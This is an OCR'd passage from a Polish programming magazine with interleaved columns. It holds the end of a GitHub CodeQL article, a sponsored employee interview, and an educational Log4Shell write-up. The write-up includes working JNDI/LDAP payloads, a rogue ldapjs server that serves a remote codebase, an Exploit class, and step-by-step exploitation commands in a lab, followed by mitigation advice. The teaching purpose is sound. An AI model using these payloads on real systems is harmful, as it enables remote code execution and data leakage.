zadania obejmuje następujące kroki: wykonanie operacji check­out
on:
push: dla repozytorium, inicjalizacja skanera CodeQL, zbudowanie kodu
branches: [ master ]
pull_request:
oraz przeprowadzenie analizy bazy CodeQL w celu wykrycia po-
branches: [ master ] datności. Pierwotna konfiguracja skanu nie dołącza dodatkowych
schedule:
- cron: '36 0 * * 5' kwerend bezpieczeństwa CodeQL (zakomentowana sekcja queries),
warto jednak wiedzieć, że możliwe jest zwiększenie identyfikowa-
jobs:
analyze: nych błędów przez dołączenie dodatkowego garnituru kwerend se-
name: Analyze
runs-on: ubuntu-latest
curity-extended czy security-and-quality. Konfiguracja jest czytelna,
permissions: a bariera wejścia do jej modyfikacji nie powinna stanowić problemu
actions: read
contents: read dla statystycznego użytkownika repozytorium GitHub. Więcej o kon-
security-events: write figuracji procesu Code Scanning z wykorzystaniem silnika CodeQL
strategy: można przeczytać w dokumentacji platformy GitHub37.
fail-fast: false
matrix:
Jak już wspomnieliśmy wcześniej, funkcja Code Scanning ko-
language: [ 'javascript' ] rzysta z mechanizmu GitHub Actions, a każde uruchomienie skanu
steps: kodu konsumuje minuty GitHub Actions. Na szczęście osoby prze-
- name: Checkout repository
chowujące swój kod w publicznych repozytoriach nie muszą przej-
uses: actions/checkout@v2
mować się limitem minut GitHub Actions.
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL Jeśli skanowanie kodu wykryje potencjalną lukę lub błąd w ko-
uses: github/codeql-action/init@v1 dzie, GitHub wyświetli alert w zakładce Security w sekcji Code Scan-
with:
languages: ${{ matrix.language }} ning Alerts (Rysunek 9). Alert zostaje usunięty, jeśli kod zostanie
# Uncomment below to use additional security queries
#queries: security-extended
naprawiony.

# Autobuild attempts to build any compiled


# languages (C/C++, C#, or Java).
- name: Autobuild
PODSUMOWANIE
uses: github/codeql-action/autobuild@v1
W tym artykule omówiliśmy mechanizmy bezpieczeństwa wcho-
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v1 dzące w skład pakietu GitHub Advanced Security (GHAS). Zaczę-
liśmy od opisu pułapek, jakie czyhają na programistów, a następnie
Domyślna konfiguracja zawarta w pliku codeql-analysis.yml dla skanu opisaliśmy, jak mechanizmy dostępne na platformie GitHub mogą
z wykorzystaniem silnika CodeQL zawiera (w sekcji on) wyzwalacz ograniczyć ryzyko związane z ich występowaniem. Wszystkie funk-
kodu oparty na zdarzeniach: push i pull_request do repozyto- cje pakietu GitHub Advanced Security są darmowe dla repozytoriów
rium master oraz cykliczny skan (sekcja schedule) wyznaczony publicznych, dlatego zachęcamy do zapoznania się z dokumentacją
w jednym momencie w tygodniu. Akcja skanowania wykonywana i samodzielnego przetestowania na GHAS38.
jest (parametr runs-on) w kontenerze utworzonym z obrazu ubuntu-
-latest i ma uprawnienia zapisu do sekcji bezpieczeństwa (security-
events: write) w celu aktualizacji poszczególnych pozycji w zakładce
37. https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-
vulnerabilities-and-errors/configuring-code-scanning
36. https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions 38. https://docs.github.com/en/get-started/learning-about-github/about-github-advanced-security

WIKTOR SZYMAŃSKI WOJCIECH MAŚLANKA


kontakt@wiktorszymanski.pl Szuka dziury w całym jako Product Security
Na co dzień zajmuje się dbaniem o bezpieczeń- Engineer. Pasjonat podróży rowerowych, waltor-
stwo aplikacji webowych i mobilnych w zespole nista w Orkiestrze Reprezentacyjnej AGH. Wielką
Product Security. Współzałożyciel serwisu frajdę sprawia mu odkrywanie i poznawanie
bezpieczny blog, sympatyk dzielenia się wiedzą, nowych, nieuchwytnych rzeczy.
maniak planszówek, entuzjasta klocków LEGO,
miłośnik książek i filmów szpiegowskich.

{ WWW.PROGRAMISTAMAG.PL } <59>
Z DEVA DO VICE HEAD
OF DEVELOPMENT W TRYBIE „FAST”
Łukasz Krzemień
Vice Head of Development w Fast White Cat. Swoją wiedzą wspomaga dział software, wspiera-
jąc Head of Development. Posiada bogate doświadczenie w projektowaniu i wdrażaniu sklepów
na Magento 2, specjalizuje się także w zakresie architektury cloud’owej (AWS) i automatyzacji
procesów (CI/CD).

Jak długo pracujesz w Fast White Cat i ile czasu zajęło Ci, by zmie- minacja i chęć uczenia się sprawiły jednak, że nabyłem te umiejęt-
nić stanowisko z deva na Vice Heada? Co trzeba zrobić, czym się ności i mogłem wspierać nimi zespół. Ciekawą nowością i źródłem
wyróżnić, by u was awansować? Czy junior, który dostanie u FWC wiedzy była dla mnie również praca w Scrumie i software house
zatrudnienie, ma szansę tak wysoko awansować? w ogóle – uporządkowane procesy i dobrze zaplanowane projek-
ty znacznie ułatwiły pracę na każdym szczeblu, a fakt, że atmosfera
Jestem w Fast White Cat od prawie pięciu lat i mniej więcej poło- w Kocie zawsze była przyjazna, sprawił, że uczenie się nowych rzeczy
wę tego czasu pracuję już jako Vice Head of Development. Jeśli było prostsze. Zresztą, w FWC dba się o to, by developerzy mieli za-
chodzi o moją ścieżkę kariery, to stanowi ona doskonały przykład pewniony rozwój – do dziś mamy cykliczne, cotygodniowe lub co-
tego, jak wysoko może zajść u nas junior. Gdy stawiałem pierwsze dwutygodniowe szkolenia wewnętrzne w formie prezentacji lub live
kroki w FWC, gdzie przyszedłem z polecania znajomego, brakowa- codingu, na których uczymy się nowych rzeczy.
ło mi choćby podstawowej znajomości Magento. Miałem pracować
jako developer w dziale utrzymania z racji doświadczenia i obycia Proszę opowiedzieć o najbardziej fascynującym projekcie, nad ja-
jako FullStack. Przebywanie wśród doświadczonych kolegów, projek- kimi pracowałeś w FWC.
ty w FWC i bakcyl programowania, który połknąłem, sprawiły jed-
nak, że chciałem więcej – dlatego hobbystycznie zacząłem zajmować Tych jest sporo, ale wskazałbym tu projekt, dzięki któremu awansowa-
się Magento także po pracy. Po kilku miesiącach byłem już pewien, łem – to dzięki niemu mój poziom znajomości Magento znacząco się
że to jest to, co chcę kontynuować. Zacząłem dostawać nowe zada- poprawił, nauczyłem się też łączyć tę wiedzę z umiejętnościami dev­
nia w Fast White Cat – od tych małych, jak tylko sprawdzanie i po- opsowymi, rozwiązywać problemy na styku tych dwóch kwestii. Był
prawianie kodu, aż w końcu większych, jak projekt oparty na pracy to projekt związany z potrzebą optymalizacji szybkości działania Ma-
back­endowej i integracji z SAPem. Ostatecznie trafiłem do projektu gento, zadbaniem o UX, integrację, wymianą danych o produktach,
dla dużej marki odzieżowej, gdzie wykorzystałem wiedzę z poprzed- statusów zamówień itd. Pełen projekt eCommerce, który spowodo-
nich zadań, która pozwoliła mi na go live sklepu w terminie i spięcie wał, że dogłębnie poznałem mechanizmy działania Magento i wszel-
całego projektu, wraz z częścią devopsową, integracją z ERP i opiekę kich usług dookoła niego, a co za tym idzie – Vanisha, RabbitMQ itd.
nad infrastrukturą. To był moment przełomowy, kiedy wziąłem na
siebie dużą odpowiedzialność. Zostało to docenione i przełożony za- Czy Vice Head of Development w Fast White Cat zajmuje się jesz-
proponował mi stanowisko Vice Heada. cze programowaniem, czy może tylko zarządza zespołem? Jakie
są główne zadania na takim stanowisku, jakie teraz obejmujesz
A jeśli chodzi o umiejętności – zarówno miękkie, jak i twarde w firmie?
– które udało Ci się rozwinąć w FWC? Zauważasz jakąś zmianę?
Programowaniem zajmuję się już znacznie mniej – to raczej praca
Przede wszystkim zdobyłem ogromną wiedzę o Magento. Jak wspo- wymagająca poprawek czy dopisek do powstałego kodu, nic mocno
minałem, przychodząc do FWC, zupełnie nie zajmowałem się tym angażującego. Mam pod sobą dział Devops i Backend, a zarządzanie
frameworkiem, ale co ciekawe – nie znałem także Dockera, AWS nimi jest dość absorbujące – rozdzielam zadania, planuję i organizuję
i usług typu Varnish, Redis, ElasticSearch, RabbitMQ, które w końcu pracę moim kolegom, wspieram ich, oferując konsultacje, reaguję na
musiałem wykorzystywać podczas pracy w projektach. Moja deter- awarie na produkcji czy inne problemy związane z działaniem środo-

<60> { MATERIAŁ INFORMACYJNY }


wiska lokalnego lub testowego. Do tego dochodzi oczywiście udział Jak myślisz, czy developerzy przychodzący do FWC z innych firm
w spotkaniach, no i coś, co u nas w Kocie jest niezwykle ważne – pra- odczuwają różnicę w zmianie pracy? Na czym ona polega?
ca związana z Reaserch and Development. Wciąż rozwijamy wiedzę,
szukamy nowinek w kontekście technologii do wykorzystania czy to To, co na pewno nas wyróżnia, to sama kultura FWC – dbamy o rze-
w Magento, czy w pracy devopsów, badamy nowe narzędzia i podej- telne feedbacki, usprawnianie umiejętności miękkich, mamy atmosfe-
mujemy działania z jeszcze efektywniejszą automatyzacją projektów rę, która jest wyjątkowa, i zarząd bardzo otwarty na rozmowy i nasze
czy wydań. pomysły. Bardzo ważna rzecz w Kocie to także praca z nowymi tech-
nologiami. U nas nie znajdziecie już Magento 1 – pracujemy tylko na
Jak dzisiaj możesz ocenić realia pracy w FWC? Co sprawia, że nadal najnowszej wersji, mamy też sporo projektów opartych o PWA, a teraz
tu pracujesz, jakie wartości tej organizacji przemawiają do Cie- wdrażamy także Sztuczną Inteligencję, która na pewno będzie cieka-
bie najmocniej, jako developera z doświadczeniem? Czy uważasz, wym wyzwaniem dla naszych developerów – to spore przedsięwzię-
że firma się zmieniła? cie, na które dostaliśmy grant w ramach Narodowego Centrum Badań
i Rozwoju. Mamy też dział Devops, który nie jest wcale normą w każ-
To, co sprawia, że wciąż jestem częścią Fast White Cat, to rozwój, dej firmie, a stanowi duże ułatwienia dla developerow, no i to, o czym
jaki zapewnia mi firma. U nas zdobywanie kolejnych umiejętności parokrotnie wspominałem, czyli wyjątkowo poukładaną pracę.
i wchodzenie na wyższy poziom jest wartością, o którą zarząd, jak
i cały zespół bardzo mocno dbają. Developerzy i Tech Leaderzy Jakie rekrutacje w tej chwili prowadzicie?
są stale motywowani, aby szukali kontaktu ze mną lub Head of Deve-
lopment, zgłaszali swoje pomysły, dążyli do dzielenia się ciekawost- Szukamy Backend Developerów ze znajomością Magento – projekty
kami technologicznymi ze swoich projektów – dzięki temu możemy w Fast White Cat rozwijają się na tyle stabilnie, że właściwie może-
wzajemnie korzystać z własnych doświadczeń, tworzymy i wciąż my stale zapraszać do rekrutacji na to stanowisko. Potrzebujemy też
rozwijamy wspólne paczki wiedzy, z których razem czerpiemy. Tutaj developerów PHP z doświadczeniem w Symfony, ale mamy również
każdy developer ma wpływ na to, jak wygląda praca w firmie. coś zupełnie nowego dla tych, którzy chcą rozwijać swoją wiedzę
To, co zmieniło się w FWC przez ostatnie 5 lat, to na pewno or- i przejść do świata naszej flagowej platformy. Uruchomiliśmy nie-
ganizacja pracy, która teraz jest lepiej zautomatyzowana i ustandary- dawno Akademię Magento 2, w której szkolimy developerów PHP,
zowana. W efekcie pracuje się sprawniej – dziś stawiamy środowisko dzielimy się z nimi wiedzą i wspieramy w rozwijaniu kariery na
lokalne czy serwer testowy kilkadziesiąt razy szybciej, niż wtedy. Każ- wszystkich szczeblach – od wdrażania się i specjalizowania w Ma-
dy przejęty sklep stawiany jest w naszym szkielecie, co zwiększa po- gento, przez budowanie doświadczenia w eCommerce, aż po zdoby-
ziom bezpieczeństwa pracy developera i po prostu ją usprawnia. To wanie certyfikatów i wyższe wynagrodzenia. Zapewnimy efektywną
właśnie zasługa automatyzacji i wspólnego doświadczenia, z którego naukę w czteroosobowych grupach i płynne wejście w platformę Ma-
czerpiemy. No i tego, że wciąż chcemy więcej. gento2. Zapraszamy: fastwhitecat.com/akademia-magento.

{ MATERIAŁ INFORMACYJNY } <61>


Z ARCHIWUM CVE

Log4j
Jednym z najpopularniejszych języków programowania jest dziś Java. Wiele dużych firm (takich
jak banki czy te z gałęzi E-commerce) decyduje się na tworzenie aplikacji właśnie w nim.
Dodatkowo jest to główny język programowania na platformie Android. Natomiast sam język
to nie wszystko. Potrzebne są do niego także biblioteki. W tym artykule przyjrzymy się, jak
poważny w skutkach może być błąd w najpopularniejszej, napisanej w Javie, bibliotece służą-
cej do logowania zdarzeń. Czy eksperci przesadzali, okrzykując go najpoważniejszym błędem
w ostatniej dekadzie?

Apache Log4j jest biblioteką służącą do tworzenia logów dla apli- Listing 1. Plik Dockerfile ściągający starą wersję Log4j
kacji napisanych w języku Java. Wyróżnia się dwie wersje: Log4j 1.x
FROM openjdk:11
oraz Log4j 2.x. Wersja pierwsza nie jest rozwijana od 2015 r. i ma
RUN mkdir -p /app
wiele znanych podatności (takich jak CVE-2022-23307 i CVE-2019- WORKDIR /app
17571). Użytkownicy nie powinni zatem z niej korzystać. ARG URL="https://archive.apache.org/dist/logging/log4j/"
Poza nazwą wersja druga niewiele ma wspólnego z wersją pierwszą. RUN wget $URL/2.14.0/apache-log4j-2.14.0-bin.zip && \
unzip -x apache-log4j-2.14.0-bin.zip
Programiście tworząc Log4j 2.x, napisali ją od zera. Podczas tworzenia
ENV LOG4J_DIR="apache-log4j-2.14.0-bin"
architektury inspirowali się pierwotną wersją oraz wbudowanym w Javę ENV API_JAR="$LOG4J_DIR/log4j-api-2.14.0.jar"
mechanizmem java.util.logging. Wersja druga nie jest kompaty- ENV CORE_JAR="$LOG4J_DIR/log4j-core-2.14.0.jar"
ENV CLASSPATH="$API_JAR:$CORE_JAR"
bilna ze swoim prekursorem. Jedną z zalet biblioteki Log4j 2.x jest to,
COPY *.java /app
że poza napisami potrafi także logować wiadomości (ang. messages)1,
wspiera obsługę lambd oraz wtyczek. W przeciwieństwie do wersji ENTRYPOINT ["java", "Test.java"]

pierwszej, czy do alternatywnego rozwiązania Logback, Log4j 2.x nie


gubi wiadomości podczas rekonfiguracji środowiska. Listing 2. Szkielet klasy Test
Log4j przez lata zyskiwał na popularności wśród programistów2.
import org.apache.logging.log4j.Logger;
Szacuje się, że w okresie 4 miesięcy (między sierpniem 2021 a li- import org.apache.logging.log4j.LogManager;
stopadem 2021) biblioteka została ściągnięta 28 milionów razy, co class Test {
umieszcza ją na 252 pozycji najczęściej pobieranych bibliotek. Log4j private static final Logger logger =
LogManager.getLogger("Test");
zyskała taką popularność, ponieważ była wykorzystana przez takie
public static void main(String[] args) {
produkty jak Amazon Web Services, Cloudflare, Steam, iCloud, Mi- // Do uzupełnienia
necraft, a nawet jako komponent w marsjańskim łaziku stworzonym }
}
przez NASA3.

ŚRODOWISKO TESTOWE W celu uruchomienia tego środowiska kontenerowego należy wyko-


nać instrukcje z Listingu 34.
Aby prześledzić przykłady związane z Log4j, przygotujemy małe śro- Po każdej zmianie w klasie należy pamiętać o przebudowie obra-
dowisko Javy. W tym celu posłużymy się kontenerem dockerowym, zu kontenera.
którego obraz można zbudować z pliku Dockerfile zaprezentowanego
Listing 3. Budowanie i uruchamianie kontenera dockerowego
w Listingu 1.
Nasze środowisko bazujemy na obrazie z Javą 11. Musimy także $ docker build -t log4j .
Sending build context to Docker daemon 68.61kB
ściągnąć podatną na opisywany błąd wersję Log4j, w pliku Dockerfile, Step 1/11 : FROM openjdk:11
wykonując komendę wget(1). Ustawiamy CLASSPATH, tak aby Java Pulling from library/openjdk
e4d61adff207: Pull complete
mogła znaleźć bibliotekę Log4j (dodatkowe zmienne mają na celu [...]
Successfully built 4015a82b374f
nadanie czytelności listingu). Na końcu ustawiamy nasz program w Ja- Successfully tagged log4j:latest
vie zdefiniowany w pojedynczym pliku Test.java. Szkielet klasy z tego $ docker run --rm -ti log4j
$
pliku został zaprezentowany w Listingu 2.

1. Temat różnicy między wiadomością a napisem wykracza poza ramy tego artykułu. Dla zainteresowa-
nych polecamy oficjalną dokumentację Log4j: logging.apache.org/log4j/2.x/manual/messages.html
2. Źródło: https://blog.sonatype.com/why-did-log4shell-set-the-internet-on-fire 4. Aby zainstalować Dockera na swoim komputerze, należy postępować zgodnie z instrukcją ze
3. Źródło: https://www.techradar.com/news/even-the-ingenuity-mars-helicopter-is-vulnerable-to-log4j strony https://docs.docker.com/engine/install.

<62> { 2 / 2022 < 101 > }


/ Log4j /

LOG4J LOOKUP tującym, jako że pod jego definicję podstawia się kolejne wartości.
Takie wywołanie funkcji jednak zdarza się rzadko – z reguły tekst
Jednym z mechanizmów w bibliotece Log4j jest tak zwany Lookup. kontrolowany przez użytkownika jest częścią większej wiadomości.
Funkcjonalność ta polega na szukaniu w logowanym tekście wzorca Dodatkowo osoby, które programują w C/C++ – albo zajmują się
${prefiks:nazwa}. W momencie gdy taki wzorzec zostanie znale- bezpieczeństwem niskopoziomowym – mogą automatycznie sko-
ziony, Log4j podstawi w jego miejsce nową wartość. Log4j wyróżnia jarzyć ten problem z błędem typu format string attack. Dlatego też
kilka prefiksów, na przykład: w drugim wywołaniu zmienna kontrolowana przez użytkownika zo-
stała użyta jako argument, który ma być podstawiony do wcześniej
» env – umożliwiający odczytanie zmiennej środowiskowej, zdefiniowanego napisu.
» java – umożliwiający odczytanie informacji o środowisku W Listingu 6 zostały przedstawione dwa wywołania programu.
Java, na przykład wersji wirtualnej maszyny czy wersji systemu W pierwszym przypadku wywołujemy program z argumentem "Pro-
operacyjnego, gramista". Zgodnie z oczekiwaniami zostały wygenerowana dwa
» docker – umożliwiający odczytanie informacji o kontenerze, logi. W przypadku drugiego wywołania tekst przekazany przez użyt-
w którym uruchomiony jest program. kownika to ${env:HOSTNAME}. Okazuje się, że Log4j zamiast zalogo-
wać tekst podany przez użytkownika, skorzystał z funkcjonalności
W Listingu 4 mamy kilka przykładowych definicji wiadomości ko- Lookup i podstawił nowe wartości. Możemy zauważyć, że dla Log4j
rzystających z mechanizmu Lookup. W listingu tym można także nie miało znaczenia, czy tekst jest podany jako tekst formatujący, czy
zaobserwować wynik wykonania kodu. Tekst ${java:version} jako argument podstawiany w tekście.
został zamieniony na informację o aktualnej wersji Javy, natomiast
Listing 6. Logowanie wiadomości kontrolowanej przez użytkownika
${env:HOSTNAME} na wartość zmiennej środowiskowej HOSTNAME
(która w kontenerach dockerowych zawiera skrócone ID kontenera). $ docker run --rm -ti log4j 'Programista'
[main] ERROR Test - Programista
Listing 4. Przykład logowania wiadomości z Log4j [main] ERROR Test - Uzytkownik Programista
probowal sie zalogowac!
// Funkcja main w pliku Test.java
public static void main(String[] args) { $ docker run --rm -ti log4j '${env:HOSTNAME}'
logger.error("Runs ${java:version}!"); [main] ERROR Test - 483ac4fb30f7
logger.error("Hostname: ${env:HOSTNAME}!"); [main] ERROR Test - Uzytkownik 483ac4fb30f7
} probowal sie zalogowac!
# Przykład uruchomienia
$ docker build -t log4j .
[...] Dlaczego zatem ten błąd jest tak poważny? Przecież w najgorszym
$ docker run --rm -ti log4j wypadku zamiast nazwy użytkownika zostanie zalogowana nazwa
[main] ERROR Test - Runs Java version 11.0.14.1!
[main] ERROR Test - Hostname: 8668c25a4914! maszyny (Hostname). Jeżeli logi nie są prezentowane użytkowniko-
wi w żadnej postaci, to nie ma tutaj mowy nawet o żadnym wycieku
informacji z serwera.

PODATNOŚĆ W LOG4J Kluczem okazuje się prefiks rozpoznawany przez Log4j – JNDI,
który jest skrótem od Java Naming and Directory Interface. Jest to
Pod koniec ubiegłego roku Chen Zhaojun z firmy Alibaba Cloud prefiks umożliwiający skorzystanie z usług katalogowych takich jak
zgłosił błąd, który został opatrzony numerem CVE-2021-44228 LDAP czy Active Directory oraz usług rozwiązywania nazw takich
– potocznie nazywanym Log4Shell. W zgłoszeniu okazało się, że jak DNS do pobierania serializowanych obiektów Java.
jeżeli użytkownik kontroluje fragment logowanej wiadomości, na W oryginalnym zgłoszeniu od Chen Zhaojun został wykorzysta-
przykład jeżeli do logów są zrzucone wartości nagłówków HTTP lub ny protokół LDAP. Dodatkowo wydaje się on najprostszy dla celów
login użytkownika, który próbował się zalogować, może on zmusić demonstracyjnych, dlatego też na nim się skupimy. Możliwe są jed-
Log4j do zinterpretowania jego tekstu i wykorzystania funkcjonal- nak także inne wektory ataków.
ności Lookup. Wykorzystując funkcjonalności JNDI i LDAP, spróbujmy przepro-
wadzić wyciek informacji z serwera. W Listingu 7 zaprezentowano
Listing 5. Logowanie wiadomości kontrolowanej przez użytkownika
przykładowe uruchomienie programu wykorzystującego rozszerzenie
public static void main(String[] args) { JNDI i protokołu LDAP. W pierwszej kolejności przed połączeniem
logger.error(args[0]);
logger.error("Uzytkownik {} probowal sie zalogowac!", args[0]); do serwera LDAP Log4j wykonał zapytanie DNSowe w celu rozwią-
} zania nazwy serwera do adresu IP. Jeżeli zamienilibyśmy domenę
example.com na domenę kontrolowaną przez nas, w logach DNSo-
W celu zaobserwowania tego zachowania skorzystamy z funkcji wych otrzymalibyśmy informację o aktualnej wersji Javy. Ponieważ
w Listingu 5. W tej funkcji zamiast logować stały tekst, przekaże- eksperyment przeprowadzamy w kontrolowanym przez nas środowi-
my do Log4j zmienną kontrolowaną przez użytkownika – argument sku, możemy sprawdzić, czy zapytanie faktycznie zostało wykonane.
wywołania programu. W Listingu 5 zmienna kontrolowana przez W tym celu skorzystamy z narzędzia tcpdump(1). Przykład użycia
użytkownika jest przekazywana jako pierwszy argument do funkcji i wynik został zaprezentowany w Listingu 8. Wyciek danych zazna-
logującej. Pierwszy argument jest często nazywany tekstem forma- czono kolorem czerwonym.

{ WWW.PROGRAMISTAMAG.PL } <63>
Z ARCHIWUM CVE

Listing 7. Przykład wykorzystania JNDI do wycieku informacji z kontenera RUN npm install ldapjs@2.3.2

$ docker run -ti log4j \ COPY ls.js /app


'${jndi:ldap://${sys:java.version}.example.com}' ENTRYPOINT ["nodejs", "ls.js"]
ERROR Test - ${jndi:ldap://${sys:java.version}.example.com}
ERROR Test - Hello user
${jndi:ldap://${sys:java.version}.example.com}! Nie pozostaje nam nic innego jak utworzenie klasy Exploit. Została
ona zaprezentowana w Listingu 11. W ramach zdalnego wykonania
Listing 8. Obserwacja zapytań DNS przy pomocy narzędzia tcpdump(1)
kodu wypiszemy po prostu dodatkową wiadomość na standardowe
$ sudo tcpdump -i enp0s5 'port 53' wyjście. Oczywiście kod tej klasy może być bardziej skomplikowany
IP u-wing.42760 > dns.google.domain:
48424+ A? 11.0.14.1.example.com i zawierać na przykład kod reverse shell’a. Wywołany kod nie znajduje
się w żadnej metodzie, tylko w bloku static. Jest to intencjonalne
W celu zdalnego wykonania kodu posłużymy się metodą polegającą działanie po to, by w momencie, gdy Java załaduje daną klasę, kod od
na wstrzyknięciu nowego obiektu klasy z usługi katalogowej LDAP. razu się wykonał.
Jeżeli w ramach odpowiedzi LDAP moduł JNDI znajdzie atrybut ob-
Listing 11. Klasa Exploit
jectClass o wartości javaNamingReference, spróbuje on pobrać
referencję do nowego obiektu. W tym celu potrzebne są jeszcze pola: public class Exploit {
static {
» javaCodebase – definiujące, z jakiego serwera pobrać kod; System.out.println("Exploited!");
można zastosować na przykład protokół HTTP, }
}
» javaClassName – nazwa klasy, która ma być użyta do stworze-
nia obiektu,
» javaFactory – nazwa fabryki (ang. factory), która ma zostać Okazuje się, że zdalne wykonanie kodu za pomocą LDAPa nie zawsze
użyta do stworzenia klasy zdefiniowanej w javaClassName. jest możliwe. Jest ono zależne od wersji Javy i jej konfiguracji. W wersji
Javy równej i powyżej 6u211, 7u201, 8u191 i 11.0.1 do pełnej explo-
Okazuje się, że najbardziej zwięzłym rozwiązaniem będzie utworze- itacji wymagane jest, aby Java była skonfigurowana z opcją com.sun.
nie serwera LDAP, stosując skrypt Node.js wykorzystujący bibliotekę jndi.ldap.object.trustURLCodebase ustawioną na wartość true.
ldapjs. Kod serwera został zaprezentowany w Listingu 9. Najciekaw- Opcja ta włącza/wyłącza interpretacje parametru javaCodebase po-
szy fragment to metoda search, która dla pustego filtra LDAP zwraca branego z usługi katalogowej. Poniżej tych wersji exploitacja log4j
obiekt, który zawiera 4 wymienione wyżej atrybuty. Jako javaCode­ za pomocą LDAPa jest zawsze możliwa. Ponadto w bibliografii na
base podaliśmy adres kolejnego serwera HTTP. końcu artykułu znajduje się link do artykułu Alvaro Muñoza i Olek-
sandra Mirosha z firmy Hewlett Packard, które opisują inne techniki
Listing 9. Kod serwera LDAP
exploitacji za pomocą JNDI. Aby włączyć tę opcję do kodu, należy
const ldap = require('ldapjs'); dodać kod z Listingu 11, albo skorzystać z opcji `-Dcom.sun.jndi.
const server = ldap.createServer(); ldap.object.trustURLCodebase=true` przy uruchamianiu Javy
server.search('', (req, res, next) => { (czyli w naszym przypadku należałoby zmodyfikować dyrektywę EN-
console.log("search");
TRYPOINT w pliku Dockerfile z Listingu 1).
res.send({
dn: req.dn.toString(),
attributes: { Listing 11. Włączenie opcji trustURLCodebase dla nowszych wersji Java
objectClass: ['javaNamingReference'],
javaClassName: ['Exploit'], System.setProperty(
javaFactory: ['Exploit'], "com.sun.jndi.ldap.object.trustURLCodebase",
javaCodebase: ['http://192.168.67.100:8080/'], "true"
} );
});
res.end();
}); Zakładając wprowadzenie poprawki z Listingu 11 do naszego testo-
server.listen(9999, '0.0.0.0', () => { wego programu, wreszcie w Listingu 12 zaprezentowano wszystkie
console.log(
'LDAP server listening at %s', pozostałe kroki, które należy wykonać w celu exploitacji. W pierw-
server.url szej konsoli przygotowujemy skompilowaną klasę Exploit, a następ-
);
}); nie uruchamiamy serwer HTTP; w naszym przypadku jest to serwer
dostarczony z językiem programowania Python. Domyślnie serwuje
W celu uruchomienia kodu serwera LDAP można zainstalować lo- on wszystkie pliki, które znajdują się w tym katalogu i podkatalogach.
kalnie Node.js i za pomocą narzędzia npm ściągnąć bibliotekę lda- W drugiej konsoli budujemy obraz Dockera zawierający serwer
pjs. Alternatywnie można skorzystać z kontenera dockerowego, który LDAP z Listingu 9.
można zbudować z Dockerfile zaprezentowanego w Listingu 10. Finalnie uruchamiamy naszą podatną aplikację i próbujemy po-
łączyć się do nowo zdefiniowanego serwera LDAP. Na czerwono zo-
Listing 10. Dockerfile do uruchamiania serwera LDAP w Node.js
stał zaznaczony wynik naszego wstrzykniętego kodu.
FROM node:lts-alpine3.15

RUN mkdir -p /app


WORKDIR /app

<64> { 2 / 2022 < 101 > }


/ Log4j /

Rysunek 1. Liczba ataków od momentu ujawnienia błędu w Log4J. Opracowanie na podstawie: Check Point Research https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-
pandemic-detailed-dive/

Listing 12. Exploitacja formatMsgNoLookups) lub usunięcie klasy org.apache.logging.


log4j.core.lookup.JndiLookup. Dziś ze względu na popularność
# Katalog i konsola z plikiem
# Exploit.java i powagę błędu stanowczo rekomenduje się aktualizację do najnow-
$ javac Exploit.java
$ python3 -m http.server 8080 szej wersji Log4j.
Po błędzie log4shell pojawiły się kolejne, jak na przykład CVE-2021-
# Katalog i konsola z plikiem Dockerfile dla
# serwera ldap Kod źródłowy z Listingu 9 45046 – który może doprowadzić do ataku DoS (braku dostępu do usłu-
# znajduję się w pliku ls.js
$ docker build -t ls .
gi). Następnym zgłoszonym błędem jest CVE-2021-45046. Okazało się,
$ docker run -ti -p 9999:9999 ls że wymienione wyżej poprawki były niepełne i w niektórych konfigura-
# Katalog i konsola z klasą cjach dalej występowała możliwość zdalnego wykonania kodu.
# testową uzupełnioną o
Mówiąc o historii tego błędu, warto zwrócić uwagę także na ilość
# com.sun.jndi.ldap.object.trustURLCodebase
$ docker run -t log4j '${jndi:ldap://192.168.67.100:9999/}' prób ataków z jego wykorzystaniem. Na Rysunku 1 znajduje się wy-
Exploited!
[main] ERROR Test - ${jndi:ldap://192.168.67.100:9999/}
kres przygotowany przez firmę Check Point Research. W ciągu 72
Exploited! godzin od jego publikacji przeprowadzono milion ataków.
[main] ERROR Test -
Uzytkownik ${jndi:ldap://192.168.67.100:9999/}
probowal sie zalogwac!
PODSUMOWANIE
Zwróćmy uwagę, że podatne na ten błąd są wszystkie aplikacje ko- Wykorzystanie modułu JNDI jest wyjątkowo rzadkie. Wydaje się
rzystające z Log4j. Nie ma znaczenia, czy jest to aplikacja webowa, wręcz, że ta opcja w bibliotece, która ma służyć do logowania zdarzeń
łazik marsjański czy aplikacja desktopowa. Tak długo, aż w logowanej w systemie, jest zbędna. Dlatego też przed dodaniem nowych funk-
wiadomości jest fragment kontrolowany przez użytkownika, możli- cjonalności do naszego oprogramowania warto się zastanowić, czy
wa jest exploitacja tego błędu. na pewno jest ona potrzebna. Taka funkcjonalność może okazać się
problematyczna albo, co gorsza, może być błędem bezpieczeństwa.

NAPRAWA BŁĘDU
Bibliografia
Błąd został zgłoszony 23 października 2021 roku do projektu Apache,
» https://logging.apache.org/log4j
a oficjalnie został ogłoszony 2 tygodnie później na Twitterze wraz » https://logging.apache.org/log4j/2.x/manual/lookups.html
z linkiem do kodu źródłowego exploita. Szacuje się, że błąd został » https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105
» https://www.lunasec.io/docs/blog/log4j-zero-day/
wprowadzony w roku 2013 i znaleziony dopiero po 8 latach. » https://github.com/ilsubyeega/log4j2-rce-exploit/
Poprawki do podatności pojawiły się 5 grudnia, 4 dni przed ogło- » https://docs.oracle.com/javase/jndi/tutorial/ldap/misc/ref.html
» https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-
szeniem błędu na Twitterze. Niestety kod tych poprawek jest zbyt LDAP-Manipulation-To-RCE.pdf
długi, żeby go tutaj w całości przytoczyć. Zwrócić uwagę należy na-
tomiast na dwa commity o numerach d82b47c5 i 04637dd6. Pierwszy
z nich ogranicza protokół JNDI i wprowadza możliwość limitowania,
do jakich serwerów LDAP aplikacja może się łączyć. Druga zmiana MARIUSZ ZABORSKI
wyłącza domyślnie funkcjonalność Lookup. https://oshogbo.vexillium.org
Możliwe są także mitygacje tego błędu, na przykład przez wyłą- Ekspert bezpieczeństwa w grupie 4Prime.
czenie funkcjonalności Lookup. (służy do tego parametr log4j2. Wcześniej przez 8 lat współtworzył i zarządzał
zespołem programistów tworzących rozwiązanie
PAM w firmie Fudo Security. W wolnym czasie
